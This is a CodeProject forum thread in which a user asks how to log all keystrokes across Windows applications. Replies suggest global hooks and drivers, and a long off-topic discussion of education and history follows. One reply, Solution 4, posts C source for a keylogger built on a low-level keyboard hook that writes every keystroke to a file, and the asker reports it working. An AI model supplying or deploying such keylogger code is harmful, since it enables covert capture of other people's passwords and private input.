Click here to Skip to main content
13,298,731 members (46,830 online)
Rate this:
Please Sign up or sign in to vote.
See more:
I want to log all keys pressed by user in all applications.... (Catch message WM_CHAR)....

Is hooking WM_CHAR is that solution?? Any link of documentation???

can any one help me?
Posted 4-Nov-12 7:29am
May I ask you why? Spying on the users? :-)
Please don't post your comments as a "solution". Nobody will get notification, and you might get no more than down-votes or abuse reports...
Rate this: bad
Please Sign up or sign in to vote.

Solution 3

Besides global hooks its a good practice to use a driver, but there are so many points where you can put your filter in. More these:[^]

You did not got down-vote from OP yet, who added a "solution" telling "nothing much".
My 5.
I also answered, with an important note which might trigger hatred... :-) -- please see.
pasztorpisti 4-Nov-12 13:52pm
:-) Children often do the opposite of what you ask them for. Maybe you should have asked for the opposite...
I guess writing a keylogger is rarely done with good intentions, however for some time I used a keylogger on my own account to find out whether someone knows my password or not.
This is a very good point. This is one reason why I did not say "no, I won't tell you, because I'm afraid you would do bad thing" -- this won't prevent anything, but giving the information demonstrates the openness, at the very least, which is much better.

I used to deal with children of certain age a lot (still do, not so often), so I know about it just a bit. I cannot pretend I'm really knowledgeable or skilled, but sometimes they listened to me. So, I know one thing for sure: first of all, you need to let some person know that you treat her/him absolutely seriously and think you can trust one. There is no any other way. That's why I'm totally against any Internet "parential control" filters, in particular -- they are much more of evil than good.

pasztorpisti 4-Nov-12 14:29pm
How could you expect someone to trust you when you don't trust him/her??? I always start out from my own point of view. I was self taught even in life and nobody could ever "command" me. I wanted to watch porn when I was 12 and I did so. :-) Of course not at home because there sex was a taboo (the vhs collection of one of my friends father...). Despite this I'm still alive without any serious mental disorder or something like that... There were really only a few adults I trusted and talked about my things. Lots of people treat their children like "pets of their own" and not like individuals and that's a really bad thing. Children are like adults with their own brain and own thoughts but with less knowledge. How will that child stand its ground in the big world if you protect him from his own life instead of sharing your wisdom with him??? :-)
I removed one unrelated question and loose a chance to reply to one your comment. This one:

[pasztorpisti has posted a reply to your comment about "how can a create a constructor that accepts the limit k and forms the series automatically?":

You're right. However putting some initialization into a constructor is on the borderline for me if it isn't something that can fail... This may cause an out of memory error because of the vector but an out of memory error is also something I rarely handle (because its almost like a runtime error like stack overflow or nullpointer exception). On the other hand I never understood why do teachers give so stupid tasks without practical usage for their students... Do they want to make it overly easy or boring or both?]

I agree. Nevertheless, again, I would prefer to wait for OP's response and see the motivation. If you answer a poorly motivated question, this might be not really useful for OP. Do you see the point?

Barakat S,

Please forgive me for this off-topic post. It has nothing to do with you or your question. I just wanted to exchange ideas with pasztorpisti on the topic related to removed question. Such things often happen.

The same may apply to our comments above it. I think this is interesting discussion anyway, and your page just appeared handy to talk about it. Please understand that some our opinions on certain type of people do not have to be related to your personally, so please don't take it on your personal account...

pasztorpisti 4-Nov-12 14:40pm
Sure. A poor question is one bad thing, but the disinterest of the OP can be a straight consequence of that. Almost every time I see a homework question I think that its (at least partly) the fault of the teacher. A good coder should be able to complete the task easily but boring homeworks won't teach those who want to become coders at the uni. Of course this doesn't mean I'm keen on writing their homework. :-)
A friend of mine (keeping some courses at a uni) told me that he was talking to a professor from the university and the prof told him that there is a demand for brainless coders... I'm afraid this is more or less true for big companies.
A consequence of that? Right, it could be, but a student is supposed to be an independent thinker and withstand teaching problems... I also dislike the term "coder". There was a notion which had its place in textbooks, that there is a specialization; and that there should be people directing others, creating algorithms and those who code them. It was more of a truth at the time of perforated cards, but overall, I think, it was a myth. I do not trust authors of most book of computer science. (During last years I am loosing appreciation of UML, even though I'm going to keep using the notation; and when it comes to the method, I doubt the fathers of UML really understand development. Besides, a method should not be a canon.)

So, yes, the brainless coders are apparently in certain demand, but it does not mean they will be fine at work. It's just the time that management of some companies think that they can save on developers. They hire developers, "coders", but they cannot create anything valuable in principles. So, they go out of business, and "brainless coders" get new jobs. But for how long? I suspect that professor is brainless himself. A demand in some "profession" does not mean reasonable career path, but one needs brain to understand it.

pasztorpisti 5-Nov-12 4:20am
There are some branches of computer science (especially the related math) I really started to dislike at the uni and later learned them for goods, for fun. Bad teachers "know" how to make you hate something. I think the overall competence of university teachers/profs in teaching is far below where it should be. Up until the university you are taught by professional teachers (who wanted to become teachers and learnt how to be one), and what happens when you reach the university: you start to learn by rote the notes of some "idiots" (with a few exceptions) who stayed at the university because they couldn't utilize themselves out in the big world. I don't actually know how the demand for braindeads manifest itself in the relationship between universities and companies but if I had to find it out I would start by tracing the flow of money... Maybe the professor isn't that brainless, just having some interest in other than training genii...
The problem with UML and in general - with books - is that some of these is much more about theory than real life usefulness. As an example: I used at most 3-4 types of UML diagrams plus "screen flow" diagrams that I've never seen in any official uml tutorials. I never encountered a scenario where maintaining more uml diagrams could pay off even in case of bigger projects (despite the fact that you can write full working programs just with uml according to some people...). Over-theorizing is naturally present everywhere in the industry and the problem comes only when some people take that all too seriously and don't see where to draw the line - quite common at the uni.
I'm only familiar with such cases indirectly; I've graduated from top university; in 2010 we even celebrated Nobel prize won by our course mate and one younger guy who I did not know. But here at CodeProject I came to the idea that some part of education is not just bad -- it is fake. But the problem is not the quality per se; the problem is:
--"Why on Earth?"
--"Because my professor told me to do so".
From this point, education is not needed. A person is already lost for education and only ready for training. When I see that, I remember Hitler and nazi.
pasztorpisti 5-Nov-12 11:39am
<quote>When I see that, I remember Hitler and nazi.
ROFL :-) :-) :-)
Yes, it sounds funny, but if some new Hitler tells the crowd "I'll be the one personally responsible for all you do; kill the enemy without thinking", guess what kind of people will be the first to say "yes"?
pasztorpisti 5-Nov-12 11:59am
I see, and Agree. But Hitler knew about his power while most teachers don't actually know about theirs and its importance.
Well, it does make some considerable difference... :-)
I think you understand, I talk not about hitlers but about people voting for them...
pasztorpisti 5-Nov-12 12:12pm
I've seen some documentum films on the topic. I think the simple answer is the previously mentioned "brainless" people - without basic brain functions. :-) However the reason for the absence of basic brain functionality might also be different in the two cases.
The particular situation with Germany was extremely complex and difficult -- frustration and national humiliation as a result of Treaty of Versailles of 1919 and other factors.
I would worry more for the presence and future...
pasztorpisti 5-Nov-12 15:20pm
I'm rarely going into discussion of such things of history. Mainly because I have quite simple thinking with overly simple and immature opinions sometimes that can only be approximations of the reality - maybe because I could never spend enough time thinking deep about such problems (disinterest...). The first thought that comes to my mind when I'm thinking of war and its consequences: War (and general international hatred) is straight consequence of human stupidity on such a large scale I can not deal with and don't wanna deal with. And of course stupid things can just generate even more and more stupid things. I'm simply living my life as a cosmopolitan without sense of conflict based on history despite the fact that I knew quite lot of hungarian people who were wrathful when hearing about Treaty of Trianon. I simply cannot understand patriotic attitude, maybe because my level freedom from the start and my upbringing...
In fact, me too. I wish I knew history much better than I do. Deep interest drives me into reading more and more, but it's extremely difficult for me to sort things out and --- elementary -- remember enough...

By the way, as to Hungarian culture: very few people know that there is such thing as Hungarian mathematics school, in most abstract and advanced fields. The other two are French and Russian; and I never knew any other national schools. The French complain about spectacular failure of education system during last years, and I don't even what to discuss what is happening to Russia. And one considerable piece of history was triggered in my mind by a wonderful philosophic fiction by Lajos Mesterházi (not quite sure about spelling; pronounced Laiosh Meshterkhazi) about Prometheus. Read if you have a chance -- this is a stroke of a genius!

pasztorpisti 5-Nov-12 17:13pm
I know only 2 universities teaching math on quite high level here: SZTE and ELTE, but that isn't necessarily what you are talking about. On the other hand: Hungary often can't keep clever people - most of them make their carriers abroad. In my opinion hungary doesn't appreciate knowledge enough (maybe a few multinational companies that usually have boring secret math work according to a friend...). Btw, I see you are also working in America. Can I ask how did you choose to move there? I'm also planning to move to an ever-shiny place some time later... :-)

I didn't know about Mesterházi (prounounced something like Meshtharhazi) but the overview of the book sounds quite interesting, I will read it. Thank you! :-)
Nothing too shiny about it. Well, after another project at Academy of Science could see that the next one would need to wait for too long... :-)
pasztorpisti 5-Nov-12 19:38pm
The USA has quite varying climate depending on the actual location. I was thinking about something like San Diego... :-)
I live on the north, Massachusetts, and feel most comfortable even more to the north, in New Hampshire, where it's cooler and drier, go there every week and on vacation... This is just the great place. I have a friend who lives in San Diego and likes it very much. No wonder, he is from Kazakhstan; and I'm from Western Siberia...

Most issue with USA is that there almost no safe place in terms of climate. It's either earthquakes, flooding or hurricanes/tornado. Recently experienced Sandy, as you probably know -- very minor here in Eastern Massachusetts, but still some had their cars crashed by fallen trees...

pasztorpisti 5-Nov-12 20:10pm
A russian friend of mine told me that cold is when your piss gets frozen before it lands. According to that I can understand if you treat most climates as summer compared to that. :-) I'm more touchy if its about temperature and shiny weather. Sandy was a worldwide news (because of NY), but its a news for me that it could destroy even in your area. Florida is also a great place to try but I don't know how well could I get on with "strong windy weather"... :-)
Well, forget it: Russians like to mystify foreigners about themselves and the country... this guy tried to make fun of you, in fact... :-)

Siberian Russians say: "Siberian are not those who are afraid of cold but those who dress warmly", and this is really true. In my region -40C = -40F is usual, but for just a small part of winter; but last winter, due to too active struggle against global warming it was down to -50C. However, -40 feels good enough, for a while, because such days are usually dry and not windy. The problem is just the opposite: the inexperienced fail to feel the cold and easily get a frostbite. My grandmother used to make fun of school children: when the schools were closed due to severe frost, many went for sledding... :-)

Florida... I cannot imagine that; from hot places, I was only in Las Vegas, Texas and Washington DC (it was hot there, too). It was funny to hear how our friends from India visited Florida in the hottest season and told us, how wonderful it was. You know, on tennis courts in our place, usually there is enough time to play -- not too many players. But when sometimes it gets too hot so even walking around would be a bit difficult, some people from India usually go out and go to play tennis. :-)

I must say, cultural diversity here is a very pleasant thing, especially for such curious people like myself. And Americans are usually very, very nice to people from different countries; they are also respond very reasonably if you don't like something and criticize, they would often agree and say "yes, this is a problem...", or would reasonably object if you miss something. For comparison, Russians will blame our country for everything, but can get greatly irritated by a foreigner who might criticize anything ("what can they understand?!"). :-)

pasztorpisti 6-Nov-12 7:05am
I also heared good things about America. Thanks for clarification!
I want also to warn you: right now, the unemployment is haunting us badly. Worse, right now it hits the most qualified people the most. It's because the trend in companies is to hold on, sustain on minimal funding and barely support what they already have, nothing serious. If course, it leads nowhere, and yes, companies go out of business, and cut serious projects with alarming rate. If it's going to continue, best qualified people will disappear.

Only in 2009 I was hiring myself and would gladly invite someone really capable: all the time I work here, even minimally capable people is in great deficit (even though they are those who have hardest time to get appropriate job). And now this project does not exist anymore, along with the whole direction. This is very alarming.

pasztorpisti 6-Nov-12 8:30am
I'm always hearing from friends that company leads encourage them to invite competent developers even outside active hiring periods (same is true where I'm currently working). Something that makes it easier for me is that I can settle with a senior programmer position - I do not expect lead. There are also some maturing good ideas of my own (both enterprise and some gaming ideas) to carry out in the future (maybe in my own company). :-)
Its funny but I'm always procrastinating when its about moving (place for personal development), mainly because I don't like traveling despite being able to easily adapt to new places.
I'm sorry to hear that things are not going so well there and I hope it gets better in the near future. Going on with your own idea is also something risky but interesting and I think it worth trying things! :-)
They may encourage, but hiring, or even sustaining positions held by good workers is a great problem these days. And it was always a problem with hiring by working visas (H1B), but during last years I just never meet some people anymore... I'm not sure though...
About theory and usefulness -- I do not agree. The phrase attributed to L.Boltzmann: "There is nothing more practical than a good theory". UML is not a theory at all, rather something opposite. It's not based on anything mathematical. Overall, people don't understand what a theory is...
The problem of computing is that people wants to get results too quick...
pasztorpisti 5-Nov-12 11:56am
"There is nothing more practical than a good theory"
The interpretation of "good theory" is quite blurred. What I call theory is not always practical without extra info, without pointing the right direction. I think showing at least one practical usage is strongly a prerequisite to teach something really dry if you don't want your audience to lose interest quickly, someone as a teacher should motivate its students at least this way. For example a course on formal languages can be like burning hell. However if you find out that writing a compiler is fun and formal languages can come handy it can change a lot on your perspective. Of course not knowing about compilers or other similar stuff doesn't mean that the whole formal languages course doesn't offer "good theory"... This is true for a lot of other courses where teachers are simply lame and life-bored.

I mentioned the name UML in conjunction with over-theorizing because writing whole programs in UML seems to me quite a "theoritical" approach. Who knows, maybe it could be used to achieve platform independency but would it be cost effective compared to alternative approaches? Also there are more than 10 types of diagrams - most of them are not handy at all in 90% of cases while it still doesn't contain some useful stuff.
It is not blurred, it has different cultural meanings, pretty much separated. How to explain that? We study something called "theoretical mechanics", which is actually the cutting edge, even now; and this knowledge is good to continue with quantum mechanics, and so on. And once I came across a book for professional education system called "theoretical mechanics". It talked about how gears work at the preschool level. This people understand "theory" in the following way: this is when students are not acting with a wrench in their hands but merely sit in class...

I found most development books falling into the category close to the second one. But look at graph theory, lattice theory, encryption, information theory in the sense of Shannon and others, and a lot more...

False or pseudo theory can be even useful, but it generally harms very much, by a number of reasons. First of all, they create false set of confidence and effectively block developers from thinking with their head. Hence, the developers are classified into those who has been blocked and those who were not... The most damaging factor I can see right now is the canonical style of using the "agile" methods. Of course, it can be a great progress compared to waterfall (but probably even this is not 100% cases). But when it comes to routine, with idiotic "standing meetings" and other accessoirs... The most alarming thing is that it's hardly pressed by the arguments "proven by practice". Practice proves nothing except that some project was complete and working. When such arguments are given, nobody usually counts the project which failed (did you heard that actually most projects are failed these days?). And of course, it's not possible to bring a comparison with the same project developed without use of such "method", because such project does not exist, there is nothing to compare with. Nevertheless, my observation and common sense tell me that probably some project survived not thanks to the "method", but just because some people have a head over their shoulders who did not allow the "method" to undertake it all...

So, in connection to what you say, there is no "over-theorising"; there is a pseudo-theory, which is really bad...

pasztorpisti 5-Nov-12 12:39pm
I always start out from practical things and try to match those with deadlines/business stuff. I never liked theory hanging in the air. I learn theory just by deepening my knowledge in some areas, my knowledge tree has its root in practice. I know some people who work differently. You mentioned Shannon who was indeed a genius and found out very useful stuff too early. Not everybody liked and understood what Shannon was talking about. This funny text came to my mind, someone sent it to me a few weeks ago: read the paragraph about a review of Shannon's papers:
And also read the whole .pdf if you haven't done that because its quite funny! :-)
This is just because you solved different kinds of problems. No theory can apply immediately. It needs some practice to appreciate.
The article is very funny, I'm looking at it right now, thank you so much for sharing.
Rate this: bad
Please Sign up or sign in to vote.

Solution 1

The solution is using a global Windows Hook; using "global" is an important key. Please see:[^].

Make sure you don't do evil!

pasztorpisti 4-Nov-12 13:45pm
+5, however writing one can be tricky for the first time!
Apparently, not easy at all. And hard to debug.
Thank you,
Rate this: bad
Please Sign up or sign in to vote.

Solution 4

Here is a simple keylogger I wrote a while ago:

#include <windows.h>
#define LOG_PATH "log.txt"
HHOOK hHook;
LRESULT CALLBACK MessageProc(int nCode, WPARAM wParam, LPARAM lParam);
INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE HHGG, LPSTR lpCmdLine, int nShowCmd)
    LPTSTR lpFileName = TEXT(LOG_PATH);
    hHook   = SetWindowsHookEx(WH_KEYBOARD_LL, MessageProc, NULL, 0);
    if(hHook == NULL)
    while( GetMessage(NULL, NULL, 0, 0) > 0 );
LRESULT CALLBACK MessageProc(int nCode, WPARAM wParam, LPARAM lParam)
    KBDLLHOOKSTRUCT kbdllhookstruct;
    BYTE keyState[256];
    TCHAR buff[256] = {0};
    HWND hWnd;
    DWORD dwThreadId;
    HKL hKl;
    DWORD lpNumberOfBytesWritten;
    if(LOWORD(wParam) != WM_KEYDOWN)
        return CallNextHookEx(hHook, nCode, wParam, lParam);
    kbdllhookstruct = *((KBDLLHOOKSTRUCT *) lParam);
    keyState[VK_SHIFT]      = (BYTE) GetKeyState(VK_SHIFT);
    keyState[VK_CAPITAL]    = (BYTE) GetKeyState(VK_CAPITAL);
    keyState[VK_CONTROL]    = (BYTE) GetKeyState(VK_CONTROL);
    hWnd = GetForegroundWindow();
    if(hWnd == NULL)
    dwThreadId = GetWindowThreadProcessId(hWnd, 0);
    hKl = GetKeyboardLayout(dwThreadId);
    ToUnicodeEx(kbdllhookstruct.vkCode, kbdllhookstruct.scanCode, &keyState[0], &buff[0], 256, 0, hKl);
    WriteFile(hFile, &buff[0], sizeof(TCHAR) * lstrlen(&buff[0]), &lpNumberOfBytesWritten, NULL);
    return CallNextHookEx(hHook, nCode, wParam, lParam);

In order to understand it, start with SetWindowsHookEx[^]
debdipta_ghosh 4-Nov-12 14:04pm
Thanks..its working...Just going through MSDN for more details...

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)

  Print Answers RSS
Top Experts
Last 24hrsThis month

Advertise | Privacy |
Web01 | 2.8.171207.1 | Last Updated 4 Nov 2012
Copyright © CodeProject, 1999-2017
All Rights Reserved. Terms of Service
Layout: fixed | fluid

CodeProject, 503-250 Ferrand Drive Toronto Ontario, M3C 3G8 Canada +1 416-849-8900 x 100